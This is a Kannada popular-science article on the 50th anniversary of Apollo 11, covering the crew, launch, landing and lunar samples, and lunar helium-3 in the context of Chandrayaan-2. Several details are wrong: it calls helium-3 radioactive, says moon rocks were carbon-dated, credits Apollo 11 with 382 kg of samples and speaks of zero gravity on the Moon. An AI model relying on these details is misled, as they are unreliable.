ಚಂದ್ರನ ಮೇಲೆ ಕಾಲಿಟ್ಟ ಘಳಿಗೆಗೆ ಸುವರ್ಣ ಸಂಭ್ರಮ!

ತಾಯಿ ತೋರಿಸಿದ ಚಂದಮಾಮನನ್ನು ಹಿಡಿಯಲು ಹಾಲುಹಲ್ಲಿನ ಮಗು ಶತಮಾನಗಳಿಂದ ಕೈಚಾಚುತ್ತಲೇ ಇತ್ತು. ಕೊನೆಗೂ ನಿಲುಕಿಯೇಬಿಟ್ಟ ಚಂದ್ರಮ! 20ನೇ ಜುಲೈ 1969 ರಂದು ಮಾನವ ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಚಂದ್ರನನ್ನು ಮುಟ್ಟಿದ; ಅದಾಗಿ ಬರೋಬ್ಬರಿ 50 ವರ್ಷಗಳಾದವು. ಭಾರತದ ಚಂದ್ರಯಾನ-2ರ ಸಂಭ್ರಮದ ಸನ್ನಿವೇಶದಲ್ಲಿ ಅಪೋಲೋ-11 ಯಾತ್ರೆಯ ಹಿನ್ನೋಟ ಇಲ್ಲಿದೆ.

ಐವತ್ತು ವರ್ಷಗಳ ಹಿಂದೆ ಅಮೆರಿಕದ ಮೂವರು ಸಾಹಸಿ ಖಗೋಳಯಾತ್ರಿಗಳನ್ನು ಹೊತ್ತ ‘ಅಪೊಲೊ-11’ ನೌಕೆಯು ಚಂದ್ರನೆಡೆಗೆ ಯಾತ್ರೆ ಬೆಳೆಸಿತು. ಇಂತಹ ಅದ್ಭುತ ಯಾತ್ರೆಯಲ್ಲಿ ಪಾಲ್ಗೊಂಡವರು; ಅಮೆರಿಕದ ಕಮ್ಯಾಂಡರ್ ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್, ಕಮ್ಯಾಂಡರ್ ಮಾಡ್ಯೂಲ್ ಪೈಲಟ್ ಮೈಕಲ್ ಕೊಲಿನ್ಸ್ ಹಾಗೂ ಲ್ಯೂನರ್ ಮಾಡ್ಯೂಲ್ ಪೈಲಟ್ ಎಡ್ವಿನ್ ಆಲ್ಡ್ರಿನ್. ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ಚಂದ್ರನ ಮೇಲೆ ಮೊದಲು ಇಳಿದು ದಾಖಲೆ ನಿರ್ಮಿಸಿದರೆ, ನಂತರದಲ್ಲಿ ಆಲ್ಟ್ರೀನ್ ಇಳಿದರು. ಮೈಕಲ್ ಕೋಲಿನ್ಸ್ ಆಗಸದಲ್ಲಿ ತಾವು ಬಂದ ನೌಕೆಯಲ್ಲೇ ಇದ್ದುಕೊಂಡು ತಾಂತ್ರಿಕ ಚಟುವಟಿಕೆಗಳನ್ನು ನಿರ್ವಹಿಸುತ್ತಿದ್ದರು.

ಚಂದ್ರಯಾನಕ್ಕಾಗಿ ಅಪೋಲೋ ಸರಣಿ ನೌಕೆಗಳ ಪ್ರಯೋಗವನ್ನು ಅಮೆರಿಕ 21, ಫೆಬ್ರುವರಿ 1967ರಲ್ಲಿ ಆರಂಭಿಸಿತು. ಶನಿ ಹೆಸರಿನ ರಾಕೆಟ್ ನೌಕೆಗಳಿಂದ ಸೇವಾನೌಕೆ ಮತ್ತು ಚಂದ್ರನೌಕೆಗಳನ್ನು ಬೇರ್ಪಡಿಸಿ ಪುನಃ ಹಿಂದಕ್ಕೆ ಒಟ್ಟಾಗಿ ಕರೆತರುವ ಯೋಜನೆಯ ಪ್ರಯೋಗಗಳು ಆರಂಭವಾದವು. ಆಗ ‘ಅಪೋಲೋ ಯುಗ’ ಆರಂಭವಾಯಿತು ಅಂತಾನೇ ಹೇಳಬಹುದು. ಚಂದ್ರನತ್ತ ಮಾನವ ಸಹಿತ ಪ್ರಯಾಣವನ್ನು ಗಂಭೀರವಾಗಿ ಪರಿಗಣಿಸಿದ್ದ ರಷಿಯಾ ತಾನೂ ಆ ದಾರಿಯಲ್ಲಿ ಯಶಪಡೆಯಲು 1964ರಲ್ಲಿ ಅಂತರಿಕ್ಷ ವಿಜ್ಞಾನಿ ಸೆರ್ಗಿ.ಪಿ.ಕೊರೊಲೋವ್ ನೇತೃತ್ವದಲ್ಲಿ ಸ್ಪರ್ಧೆಗಿಳಿಯಿತು.

ರಷಿಯಾದ ವಿಜ್ಞಾನಿಗಳ ಹಲವಾರು ತಾಂತ್ರಿಕ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳು ಈ ಯೋಜನೆಯನ್ನು ಜಗ್ಗಾಡಿದವು. 1968ರ ವೇಳೆಗೆ ಎನ್-1 ಮಾದರಿಯ 75 ಟನ್ ಭಾರ ಹೊರುವ ರಾಕೆಟ್ ನ್ನು ಬಳಸಿ ಚಂದ್ರನ ಮೇಲೆ ಮಾನವನನ್ನು ಇಳಿಸುವ ಪ್ರಯತ್ನ ನಡೆಯಿತು. ಈ ಮಧ್ಯೆ ಕೊರೊಲೋವ್ ನಿಧನ ಹೊಂದಿದರು; ಯೋಜನೆ ಇನ್ನಷ್ಟು ಸಮಸ್ಯೆಗಳನ್ನು ಎದುರಿಸಬೇಕಾಯಿತು. 1964ರಲ್ಲಿ ಅಮೆರಿಕೆಯ ಗೂಢಚಾರ ಉಪಗ್ರಹಗಳು ರಷಿಯಾ ನಿರ್ಮಿಸುತ್ತಿರುವ ಭಾರಿ ಪ್ರಮಾಣದ ಉಡಾವಣಾ ಕೇಂದ್ರದ ಬಗ್ಗೆ ವರದಿ ನೀಡಿದವು. ತಕ್ಷಣ ಅಮೆರಿಕಾ ತನ್ನ ಕಾರ್ಯವನ್ನು ತ್ವರಿತಗೊಳಿಸಿತು. ಕೊನೆಗೆ ತಾನೇ ಮೊದಲು ಚಂದ್ರನಲ್ಲಿಗೆ ನೌಕೆಯನ್ನು ಕಳಿಸಿ ಮನುಷ್ಯ ಪಾದಾರ್ಪಣೆಯ ಖ್ಯಾತಿಗೆ ಪಾತ್ರವಾಯಿತು.

ಚಂದ್ರನಲ್ಲಿ ಹೀಲಿಯಂ!

ಸೌರ ಮಾರುತದ ಮೂಲಕ ಚಂದ್ರನತ್ತ ವೇಗದಿಂದ ಬರುವ ಹೈಡ್ರೋಜನ್, ನೈಟ್ರೋಜನ್ ಮತ್ತು ಹೀಲಿಯಂ ಅನಿಲಗಳ ಜೊತೆಗೆ ವಿಕಿರಿಣಶೀಲ ಧಾತು ಹೀಲಿಯಂ-3 ಸಹ ತೂರಿ ಬಂದು ಚಂದ್ರನ ನೆಲದ ಮೇಲೆ ಸೇರಿಕೊಳ್ಳುತ್ತದೆ. ಇಂತಹ ಹೀಲಿಯಂ-3 ಚಂದ್ರನ ಮೇಲ್ಮೈಯಲ್ಲಿ ಸುಮಾರು 400 ಕೋಟಿ ವರ್ಷಗಳಿಂದ ಶೇಖರವಾಗುತ್ತಿದೆ. ಚಂದ್ರನ ಕುರಿತು ಅಧ್ಯಯನ ಮಾಡಲು ಹೊರಟಿರುವ ಜಗತ್ತಿನ ದೇಶಗಳಿಗೆಲ್ಲ ಈ ಧಾತುವಿನ ಮೇಲೆ ಕಣ್ಣಿರಿಸಿವೆ.

ಹೀಲಿಯಂ-3 ಅಪರೂಪದ ಇಂಧನ. ನ್ಯೂಕ್ಲೀಯ ಸಮ್ಮಿಲನ ಕ್ರೀಯೆಯ ಮೂಲಕ ಮಾಲಿನ್ಯವಿಲ್ಲದ ಶುದ್ಧ, ಅಪರಿಮಿತ ಶಕ್ತಿ ಸಂಪಾದಿಸಲು ಸಾಧ್ಯವಿದೆ. ಹೀಲಿಯಂ ನಿಂದ ಯಾವುದೇ ಹಸಿರುಮನೆ ಅನಿಲಗಳು ಹೊರಹೊಮ್ಮುವುದಿಲ್ಲ. ಬೇರೆ ಪರಮಾಣುಗಳಿಗೆ ತದ್ವಿರುದ್ಧವಾಗಿ ಇದರಿಂದ ಬಾಂಬು ತಯಾರಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ. ನಾಸಾ ಈ ಕುರಿತು ಸಾಕಷ್ಟು ಅಧ್ಯಯನ ಕೈಗೊಂಡಿದೆ. ಒಂದುವೇಳೆ ಚಂದ್ರನಲ್ಲಿ ಗಣಿಗಾರಿಕೆ ಮತ್ತು ಶುದ್ಧೀಕರಣ ಸ್ಥಾವರಗಳನ್ನು ನಿರ್ಮಿಸಿದ್ದೇ ಆದರೆ ಈ ಪರೀಷ್ಕೃತ ಹೀಲಿಯಂ-3 ನ್ನು ಭೂಮಿಗೆ ತರಲು ಸಾಧ್ಯವಿದೆ. ಹಾಗೇನಾದರೂ ಆದರೆ ಭೂಮಂಡಲದ ಇಂಧನದ ಅಗತ್ಯವನ್ನು ಶಾಶ್ವತವಾಗಿ ಪೂರೈಸಲು ಸಹಾಯವಾಗಬಹುದು ಎನ್ನುತ್ತಾರೆ ವಿಜ್ಞಾನಿಗಳು.

ಭೂಶಾಸ್ತ್ರಜ್ಞ ಗಗನಯಾನಿ ಹ್ಯಾರಿಸನ್ ಸ್ಮಿತ್ ತಾವು ಬರೆದ ‘ರಿಟರ್ನ್ ಟು ದ ಮೂನ್’ ಪುಸ್ತಕದಲ್ಲಿ ಅಂದಾಜು ಮಾಡಿರುವಂತೆ ಚಂದ್ರನ ಮೇಲೆ ಎರಡು ಚದರ ಕಿಲೋಮೀಟರ್ ವಿಸ್ತೀರ್ಣ, ಮೂರು ಮೀಟರ್ ಆಳದ ನೆಲದಲ್ಲಿ ಗಣಿಗಾರಿಕೆ ಮಾಡಿದರೆ ಸುಮಾರು 100 ಕೆ.ಜಿ ಪರಿಷ್ಕೃತ ಹೀಲಿಯಂ-3 ಸಿಗಬಹುದು. ಇದರಿಂದ ವರ್ಷಕ್ಕೆ 10,000 ಮೆಗಾವ್ಯಾಟ್ ವಿದ್ಯುತ್ತನ್ನು ಉತ್ಪಾದಿಸಬಹುದು! ಈ ಕುರಿತು ಚಂದ್ರನಲ್ಲಿ ಗಣಿಗಾರಿಕೆಗೆ ಆಸಕ್ತಿ ತೋರಿಸಿರುವ ಅಮೆರಿಕ, ರಷ್ಯಾ, ಚೀನಾ ದೇಶಗಳ ಸಾಲಿನಲ್ಲಿ ಭಾರತವೂ ನಿಲ್ಲುತ್ತದೆ. ಈ ಸಾರಿಯ ನಮ್ಮ ಚಂದ್ರಯಾನ-2 ರಲ್ಲಿ ಹೀಲಿಯಂ-3 ಕುರಿತ ಅನ್ವೇಷಣಾ ಕಾರ್ಯಚಟುವಟಿಕೆಗೂ ವೇದಿಕೆ ನಿರ್ಮಿಸಲಾಗಿದೆ.

ಭೂಮಿಯಿಂದ ಚಂದ್ರನಿಗಿರುವ ದೂರ 3,84,400 ಕಿ.ಮೀ. ಇದು ನಮ್ಮ ಇಡೀ ಭೂಮಿಯನ್ನು 10 ಬಾರಿ ಸುತ್ತುಹಾಕುವಷ್ಟು ದೂರ! 16 ಜುಲೈ 1969 ರ ಮುಂಜಾನೆ 9:32 ಗಂಟೆಗೆ ಸರಿಯಾಗಿ 111 ಮೀಟರ್ ಉದ್ದದ ಅಪೋಲೋ-11 ಹೆಸರಿನ ಅಂತರಿಕ್ಷ ನೌಕೆ 2700 ಟನ್ ಭಾರದೊಡನೆ ಅಂತರಿಕ್ಷಕ್ಕೆ ಜಿಗಿಯಿತು.

ಒಂಬತ್ತು ವರ್ಷಗಳ ಸುದೀರ್ಘ ಕಾಲ ನಡೆಸಿದ ಈ ಯಾನದ ಸಿದ್ಧತೆ ಅಪಾರ ಶ್ರಮದಿಂದ ಕೂಡಿತ್ತು. ವಿಜ್ಞಾನಿಗಳು, ತಂತ್ರಜ್ಞರು ಅನೇಕ ಪರೀಕ್ಷೆಗಳನ್ನು ನಡೆಸಿ, ಚಂದ್ರನ ಪರಿಸರದಮೇಲೆ ಮನುಷ್ಯನ ಓಡಾಟವನ್ನು ಸಾಧ್ಯವಾಗಿಸಿದರು. ಹಲವು ದಶಲಕ್ಷ ವಸ್ತುಗಳನ್ನು ಬಹುವಿಧವಾಗಿ ಪರೀಕ್ಷಿಸಿ ಈ ಅಪೋಲೋ ಸ್ಯಾಟರ್ನ್ ರಾಕೆಟ್ ಸಿದ್ಧಪಡಿಸಲಾಯಿತು. ಈ ವಾಹನಕ್ಕೆ ಸೂಕ್ತವಾದ ಇಂಧನವನ್ನು ಹೊಸದಾಗಿ ಸೃಷ್ಟಿಸಲಾಯಿತು. ಭೂ ಗುರುತ್ವದಿಂದ ಹೊರಜಿಗಿಯಲು ಈ ಭಾರಿ ನೌಕೆಗೆ 3,400 ಟನ್ ನೂಕುಬಲ ಬೇಕಿತ್ತು. ಆಗ ಅದರ ವೇಗ ಕನಿಷ್ಟ ಗಂಟೆಗೆ 40 ಸಾವಿರ ಕಿ.ಮೀ ಗಳಷ್ಟು. ಈ ವೇಗದಲ್ಲಿ ಚಲಿಸುವ ನೌಕೆ ಭೂಮಿಯ ವಾತಾವರಣದೊಡನೆ ಘರ್ಷಿಸುತ್ತದೆ. ಇದರಿಂದ ಉಂಟಾಗುವ ತಾಪ 2660 ಡಿಗ್ರಿಯಷ್ಟು. ಈ ತಾಪದಲ್ಲಿ ಕಬ್ಬಿಣ ಕರಗಿಹೋಗುತ್ತದೆ! ಅಪೋಲೋ ನೌಕೆಯ ಪ್ರತಿ ವಸ್ತುವೂ ಮಾನವ ತಾನು ಆವರೆಗೆ ಶೋಧಿಸಿದ ತಂತ್ರ ಮತ್ತು ಯಂತ್ರ ವಿಜ್ಞಾನದ ಕೌಶಲ್ಯದ ಪರಮ ಸಾಧನೆಯಾಗಿತ್ತು.

ಮೊದಲ ಬಾರಿಗೆ ಅತ್ಯಂತ ವೇಗದ ನೌಕೆಯನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು. ಈ ನೌಕೆಯ ಇಂಧನ ದ್ರವ ಜಲಜನಕ, ಆಮ್ಲಜನಕ ಮತ್ತು ಸೀಮೆ ಎಣ್ಣೆಯ ಮಿಶ್ರಣದಿಂದ ತಯಾರಿಸಲಾಗಿತ್ತು. ಈ ದ್ರವಗಳನ್ನು -253 ಡಿಗ್ರಿ ಯಷ್ಟು ಸದಾ ತಂಪಾಗಿ ಇರಿಸುವ ಮತ್ತು ಅದನ್ನು ಕಾಯ್ದುಕೊಳ್ಳುವ ವ್ಯವಸ್ಥೆ ಅತ್ಯಂತ ಪ್ರಮುಖ ಹಾಗೂ ಕ್ಲಿಷ್ಟಕರವಾಗಿತ್ತು. ಜೆಟ್ ವಿಮಾನದಂತೆ ಕಾರ್ಯ ನಿರ್ವಹಿಸುವ ಕ್ಷಿಪಣಿಯ ಇಂಜಿನ್ ನಿಯಂತ್ತಿಸಲು ತೆಗೆದುಕೊಳ್ಳಬೇಕಾದ ಕ್ಷಿಪ್ರ ನಿರ್ಧಾರಗಳು ಮಾನವರಿಗೆ ಅಸಾಧ್ಯ. ಈ ಮಿತಿಯನ್ನು ಪರಿಹರಿಸಿದ್ದು ಹೋಸ್ಟನ್ ನಿಯಂತ್ರಣ ಕೇಂದ್ರದ ಕಂಪ್ಯೂಟರ್. ಇದು ಭೂಮಿಯಿಂದಲೇ ಎಲ್ಲ ಚಾಲನೆಯ ನಿರ್ದೇಶನಗಳನ್ನು ನೀಡುತ್ತಿತ್ತು. ಪ್ರತಿ ಸೆಕೆಂಡಿಗೆ 10 ಕಿ.ಮೀ. ವೇಗದಲ್ಲಿದ್ದ ನೌಕೆಯ ನಿಯಂತ್ರಣವು ಗಣಕಯಂತ್ರದಿಂದ ಮಾತ್ರ ಸಾಧ್ಯವಿತ್ತು.

ಚಂದ್ರನ ಮೇಲೆ ಇಳಿಯುವ ಮನುಕುಲದ ಕನಸನ್ನು ಅಪೋಲೋ-11 ರ ಧೀರ ಯಾತ್ರಿಗಳು ನನಸಾಗಿಸಿದರು. ಉಡಾವಣೆಗೆ 11 ಸೆಕೆಂಡುಗಳ ಮೊದಲು ಅಪೋಲೋ-11 ರ ನಿರ್ದೇಶಕ ಜೆನಿಕ್ರಾನ್ ‘ಹೊರಡಿ’ ಎನ್ನುವ ಸೂಚನೆ ಇತ್ತ. 3 ಸೆಕೆಂಡ್ ಮೊದಲು ಕೌಂಟ್ ಡೌನ್ ಆರಂಭ. 3, 2, 1, ಸೊನ್ನೆ ಎನ್ನುತ್ತಲೇ ಅಪೋಲೋ-11 ನೌಕೆಯ ಐದು ಎಫ್-1 ಇಂಜಿನ್ ಗಳನ್ನು ಒಮ್ಮೆಲೆ ಸಿಡಿಸಿದವು. ಆಕಾಶಕ್ಕೆ ಚಿಮ್ಮಿದ ಆ ನೌಕೆ ಮೋಡಗಳನ್ನು ಸೀಳಿ, ವಾಯುಗೋಳದೊಂದಿಗೆ ಹೋರಾಡುತ್ತ ಮುನ್ನಡೆಯಿತು. ‘ನಾವೀಗ ಹೊರಟಿದ್ದೇವೆ… ನೌಕೆ ನಿಯಂತ್ರಣದಲ್ಲಿದೆ… ನಾವಿರುವ ಸ್ಥಳ ನಮಗೆ ಗೊತ್ತು’ ಎಂದು ಈ ನೌಕೆಯ ಚಾಲಕ ಕಾಲಿನ್ಸ್ ಭೂನಿಯಂತ್ರಣಕ್ಕೆ ತಿಳಿಸಿದ. 11 ಸೆಕೆಂಡ್ ಮತ್ತು 42 ಸೆಕೆಂಡುಗಳ ಅಂತರದಲ್ಲಿ ರಾಕೆಟ್ ಗಳು ಸಿಡಿದವು. ಭೂಮಿಯಿಂದ 4800 ಕಿ.ಮೀ ದೂರದಲ್ಲಿ ಪ್ರತಿ ಸೆಕೆಂಡಿಗೆ 10 ಸಾವಿರ ಮೀಟರ್ ವೇಗದಲ್ಲಿ ಭೂಮಿಯ ಗುರುತ್ವವನ್ನು ಮೀರಿ ಮುನ್ನಡೆಯಿತು ನೌಕೆ. ಕಾಕಿನ್ಸ್, ಆಲ್ಡ್ರೀನ್ ಮತ್ತು ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ಈ ನೌಕೆಯ ಪಯಣಿಗರು. ಉಡಾವಣೆಯ ಒಂಬತ್ತು ಗಂಟೆಯ ನಂತರ 90 ಸಾವಿರ ಕಿ.ಮೀ ದೂರದಲ್ಲಿತ್ತು ಅಪೋಲೋ-11.

ಅಪೋಲೊ-11 ರ ಚಂದ್ರಯಾನ ಘಟಕ ‘ಈಗಲ್’ ನ್ನು 4 ಲಕ್ಷ ಕಿ.ಮೀ. ಗಿಂತ ಹೆಚ್ಚು ದೂರ ಕೊಂಡೊಯ್ದ ರಾಕೆಟ್ ನ ಹೆಸರು ‘ಕೊಲಂಬಿಯಾ’. ‘ಈಗಲ್’ ಯಾತ್ರಿಗಳನ್ನು ಚಂದ್ರನ ಮೇಲೆ ಇಳಿಸುವ ನೌಕೆಯಾದರೆ, ಅನಂತರ ಅವರನ್ನು ಸುರಕ್ಷಿತವಾಗಿ ಭೂಮಿಗೆ ತಂದಿಳಿಸುವ ಜವಾಬ್ದಾರಿ ‘ಕೊಲಂಬಿಯಾ’ ನಿರ್ವಹಿಸಿತ್ತು.

ಯಾತ್ರಿಗಳನ್ನು ಹೊತ್ತುಕೊಂಡಿದ್ದ ಹಾಗೂ ಕಂಪ್ಯೂಟರಿನ ನಿಯಂತ್ರಣದಲ್ಲಿದ್ದ ‘ಈಗಲ್’ ಗೆ ಚಂದ್ರನ ಮೇಲೆ ಇಳಿಯಲು ಸಮತಟ್ಟಾದ ಜಾಗವೇ ಸಿಗಲಿಲ್ಲ. ತಕ್ಷಣವೇ ನೌಕೆಯನ್ನು ತನ್ನ ನಿಯಂತ್ರಣಕ್ಕೆ ತೆಗೆದುಕೊಂಡ ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್, ತಮ್ಮ ಹುಡುಕಾಟವನ್ನು ಮುಂದುವರಿಸಿದರು. ಆ ಸಂದರ್ಭದಲ್ಲಿ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ನ ಹೃದಯ ನಿಮಿಷಕ್ಕೆ 156 ರಂತೆ ‘ಲಬ್, ಡಬ್…!’ ಎಂದು ಜೋರಾಗಿ ಬಡಿದುಕೊಳ್ಳುತ್ತಿತ್ತು. ಚಂದ್ರನ ಸುತ್ತಮುತ್ತ ಹರಡಿರುವ ಕಲ್ಲುಮಣ್ಣುಗಳ ಗುಡ್ಡೆಗಳನ್ನು ಜಾಗರೂಕತೆಯಿಂದ ವೀಕ್ಷಿಸುತ್ತ ಸೆಕೆಂಡಿಗೆ ಒಂದು ಅಡಿಯಂತೆ ನೌಕೆಯನ್ನು ಇಳಿಸತೊಡಗಿದರು. ಆ ಸಂದರ್ಭದಲ್ಲಿ ನೌಕೆಯಲ್ಲಿ ಸೀಮಿತ ಇಂಧನವಿರುವುದು ಈ ಯಾನಿಗಳಿಗೆ ಆತಂಕ ಮೂಡಿಸಿತ್ತು. ಕೊನೆಗೂ ಅವರಿಗೆ ನೌಕೆಯನ್ನು ಇಳಿಸಲು ಯೋಗ್ಯವಾದ ಸಮತಟ್ಟಾದ ಜಾಗ ಸಿಕ್ಕಿತು. ಆ ಕ್ಷಣವೇ ಅವರು ತಮ್ಮ ರೆಡಿಯೋವನ್ನು ಆನ್ ಮಾಡಿಕೊಂಡು ‘ಹೋಸ್ಟನ್, ವಿ, ಉಹ್…’ ಎಂದು ಹರ್ಷದಿಂದ ಉದ್ಗರಿಸುತ್ತ, ತಮ್ಮ ಅಧಿಕೃತ ಭಾಷೆಯಲ್ಲಿ ಭೂಮಿಗೆ ಸಂದೇಶ ರವಾನಿಸಿದರು. ‘ಟ್ರಾಂಕ್ವಿಲಿಟಿ ಬೇಸ್ ಹಿಯರ್. ದಿ ಈಗಲ್ ಹ್ಯಾಸ್ ಲ್ಯಾಂಡೆಡ್’ ಎಂಬ ವಾಕ್ಯ ಐತಿಹಾಸಿಕ ದಾಖಲೆಯಾಯಿತು.

  ಮೊದಲು ತಮ್ಮ ಎಡ ಪಾದವನ್ನು ಚಂದ್ರನ ಮೇಲೆ ಇಟ್ಟ ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ಅವರ ವಿಶೇಷ ಬೂಟ್ ಗೆ ಚಂದ್ರನ ದೂಳು ಮೆತ್ತಿಕೊಂಡಿತು. ಅದೇ ಸಂದರ್ಭದಲ್ಲಿ ಅರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ‘ಮನುಷ್ಯನಿಗೆ ಇದೊಂದು ಸಣ್ಣ ಹೆಜ್ಜೆ. ಆದರೆ ಮನುಕುಲದ ಇತಿಹಾಸದಲ್ಲಿ ಮಹಾ ಜಿಗಿತ!’ ಎಂದು ಹೇಳಿದರು. ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ಚಂದ್ರನ ಮೇಲೆ ಸುಲಭವಾಗಿ ನಡೆಯಬಹುದೆಂದು ತಿಳಿದನು. ಪಾದಗಳನ್ನು ಅಲ್ಲಿ ಊರುತ್ತಿದ್ದಂತೆ ಕಣ್ಣಿಗೆ ಸ್ಪಷ್ಟವಾಗಿ ಕಾಣುವಂತಹ ಬೂಟಿನ ಗುರುತುಗಳು ಮೂಡುತ್ತಿದ್ದವು. ಝೀರೋ ಗ್ರ್ಯಾವಿಟಿಯಲ್ಲಿ ನಡೆಯುವುದೇ ಒಂದು ಸಾಹಸದ ಕೆಲಸ! ನಿಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ಇಳಿದಾದ 19 ನಿಮಿಷಗಳ ನಂತರ ಆಲ್ಡ್ರೀನ್ ಇಳಿದರು. ಅವರಿಬ್ಬರೂ ತಾವು ತಂದ ಕ್ಯಾಮರಾವನ್ನು ಜೋಡಿಸಿ ನೆಲಕ್ಕೆ ಊರಿದರು. ಅಲ್ಲೇ ಅಮೆರಿಕದ ಧ್ವಜವನ್ನು ಸ್ಥಾಪಿಸಿ ಐತಿಹಾಸಿಕ ಘಟನೆಗೆ ಸಾಕ್ಷಿಯಾದರು.

ಒಂದಷ್ಟು ಕಲ್ಲು ಮಣ್ಣನ್ನು ಸಂಗ್ರಹಿಸಿ ಅದೇ ಸ್ಥಳದಲ್ಲಿ ಕೆಲವು ಪ್ರಯೋಗಗಳನ್ನು ಮಾಡಿದರು; ಭೂಮಿಗೆ ಬಂದಾಗ 382 ಕಿಲೋ ಚಂದ್ರಶಿಲೆಗಳನ್ನು ತಮ್ಮೊಂದಿಗೆ ತಂದಿದ್ದರು. 

ಇಂತಹ ಅವಿಸ್ಮರಣೀಯ ಘಟನೆಯನ್ನು ಗಮನಿಸುತ್ತಿದ್ದ ಅಂದಿನ ಅಮೆರಿಕದ ಅಧ್ಯಕ್ಷ ರಿಚರ್ಡ್ ನಿಕ್ಸನ್ ತಮ್ಮ ಶ್ವೇತಭವನದ ಕಛೇರಿಯಿಂದ ಟೆಲಿಫೋನ್ ಮೂಲಕ ಸಂದೇಶ ನೀಡಿದರು. ‘ಇದೊಂದು ಇಡೀ ಜಗತ್ತು ದಾಖಲಿಸಿಕೊಳ್ಳಬೇಕಾದ ಐತಿಹಾಸಿಕ ಫೋನ್ ಕರೆಯಾಗಿದೆ’ ಎಂದೇ ತಮ್ಮ ಮಾತುಗಳನ್ನು ಮುಂದುವರಿಸಿದರು. ಅಂದು ಅಧಿವೇಶನದಲ್ಲಿದ್ದ ಭಾರತದ ಎಲ್ಲ ಸಂಸತ್ ಸದಸ್ಯರೂ, ಅಲ್ಲಿ ಅಮೆರಿಕದ ಸಂಸತ್ ಸದಸ್ಯರೆಲ್ಲರೂ ಎದ್ದು ನಿಂತು ಒಂದು ಕ್ಷಣ ಕರತಾಡನ ಮಾಡಿ ಸಾಹಸಿ ಯಾತ್ರಿಗಳಿಗೆ ಗೌರವ ಸೂಚಿಸಿದರು.

ಈ ಯಶಸ್ವಿ ಯಾನ ಮುಂದಿನ ಆರು ಯಶಸ್ವೀ ಯಾನಗಳಿಗೆ ಆತ್ಮವಿಶ್ವಾಸ ಹಾಗೂ ಧೈರ್ಯವನ್ನು ತಂದುಕೊಟ್ಟಿತು. ನೀಲ್ ಅಸರ್ಮ್ ಸ್ಟ್ರಾಂಗ್ ನಿಂದ ಹಿಡಿದು ಕೊನೆಯ ಯಾನ ಅಪೊಲೋ-17 ವರೆಗೆ ಹೋಗಿದ್ದ ಎಲ್ಲ ಗಗನಯಾನಿಗಳೂ ಬಹುಪಾಲು ಏರೋನಾಟಿಕಲ್ ಇಂಜಿನಿಯರಿಂಗ್ ಹಿನ್ನೆಲೆ ಹೊಂದಿರುವ ಹಾಗೂ ವಾಯುದಳದಲ್ಲಿ ಯುದ್ಧ ವಿಮಾನ ಚಲಾಯಿಸಿದವರೇ ಆಗಿದ್ದರು. ಅವರಿಗೆ ನಾಸಾ ನೀಡಿದ ಕಠಿಣ ತರಬೇತಿಯಲ್ಲಿ ಗೆದ್ದಿದ್ದರು.

ಅಪೊಲೋ-11 ರಲ್ಲಿ ಚಂದ್ರನಿಂದ ತಂದ ಶಿಲೆಗಳನ್ನು ವಿಶ್ಲೇಷಿಸಿದ ವಿಜ್ಞಾನಿಗಳು, ‘ಇದು ಭೂಮಿಯಲ್ಲಿ ಕಂಡುಬರುವ ಅಗ್ನಿಪರ್ವತಗಳು ಸೃಷ್ಟಿಸಿದ ಶಿಲೆಯಂತೆಯೇ ಇದೆ. ಆರುವಾಗ ಅನಿಲಗಳು ಬಿಡುಗಡೆಯಾಗಿ ರಂಧ್ರಗಳನ್ನು ಮಾಡಿರುವ ಗುರುತುಗಳೂ ಇವೆ. ಇದು ಬಸಾಲ್ಟ್ ಶಿಲೆ’ ಎಂದು ಹೇಳಿದ್ದರು. ಈ ಚಂದ್ರಶಿಲೆಯ ಆಯಸ್ಸು ಎಷ್ಟು ಎಂದು ಪತ್ತೆಹಚ್ಚಿದಾಗ ಆಗಿನ ಕಾರ್ಬನ್ ಡೇಟಿಂಗ್ ನಲ್ಲಿ ಅದು 331 ಕೋಟಿ ವರ್ಷಗಳು ಎಂದು ಕಂಡುಬಂತು. ನಂತರ ಅಪೊಲೋ-17 ರಲ್ಲಿ ತಂದ ಚಂದ್ರಶಿಲೆಗಳನ್ನು ವಿಶ್ಲೇಷಿಸಿದಾಗ ಗೊತ್ತಾಗಿದ್ದು ಅವುಗಳ ಆಯಸ್ಸು 441 ಕೋಟಿ ವರ್ಷಗಳು ಎಂದು. ಇದರಿಂದ ಭೂಮಿಯಲ್ಲಿನ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ನಿರ್ವಹಣೆ ಮುಂತಾದವುಗಳ ಬಗ್ಗೆ ಅಧ್ಯಯನ ಮಾಡಲು ಉಪಯೋಗವಾಗುತ್ತದೆ. ಹೀಗಾಗಿ ಚಂದ್ರಯಾನಗಳನ್ನು ಆಗಾಗ ಎಲ್ಲ ಪ್ರತಿಷ್ಠಿತ ಮುಂದುವರೆದ ದೇಶಗಳು ಕೈಗೊಳ್ಳುತ್ತಿವೆ.

